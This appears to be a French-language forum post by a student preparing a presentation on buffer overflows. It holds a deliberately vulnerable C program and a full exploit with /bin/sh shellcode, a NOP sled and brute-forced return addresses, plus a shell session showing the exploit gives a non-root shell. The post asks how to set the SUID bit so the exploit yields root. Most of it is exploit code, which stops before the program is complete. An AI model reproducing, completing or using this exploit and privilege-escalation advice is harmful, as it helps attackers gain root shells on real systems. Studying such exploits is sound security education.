|
bonjour,
j'ai un exposé a faire sur le buffer oveflow mais voila j'ai codé mon bof mais je n'ai pas accés à root, je pense que c'est le bit suid, maus comment le mettre, quelles sont les permissions que dois avoir le fichier
voici l'exploit
vuln1:
int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
exploit1:
#include <stdlib.h>
#define BUFFER_LEN 100
#define OVERFLOW 8
int main()
{
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";
char newret[] = "\x00\xfc\xff\xbf"; // adresse de depart
char diff[] = "\xff\xff\xff\xbf"; // adresse limite
char buffer[512];
int i;
int j;
int loop;
int pid;
int error;
for (loop = 0; strcmp(diff, newret) > 0; loop++)
{
error = 0;
newret[0] += 1;
if (newret[0] == '\x00')
{
newret[1] += 1;
newret[0] = '\x00';
continue;
}
for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strlen(newret)+strlen(shellcode))); i++)
buffer[i] = '\x90';
for (j = 0; shellcode[j]; j++, i++)
buffer[i] = shellcode[j];
for (j = 0; newret[j]; j++, i++)
buffer[i] = newret[j];
for (j = 0; newret[j]; j++, i++)
buffer[i] = newret[j];
pid = fork();
if (pid == -1)
{
printf("#@! Fork() Error.\n" );
exit(0);
}
else if (pid == 0)
{
execl("/root/RedKod/Stack_Overflow/BO/vuln1/vuln1", "vuln1", buffer, NULL);
exit(0);
}
else
waitpid(pid, &error, 0);
if (error == 0)
{
return (0);
}
a l"execution j'ai :
sh-2.05a$ whoami
user
sh-2.05a$ :-(
comment faire please!!!!!!! :-(
|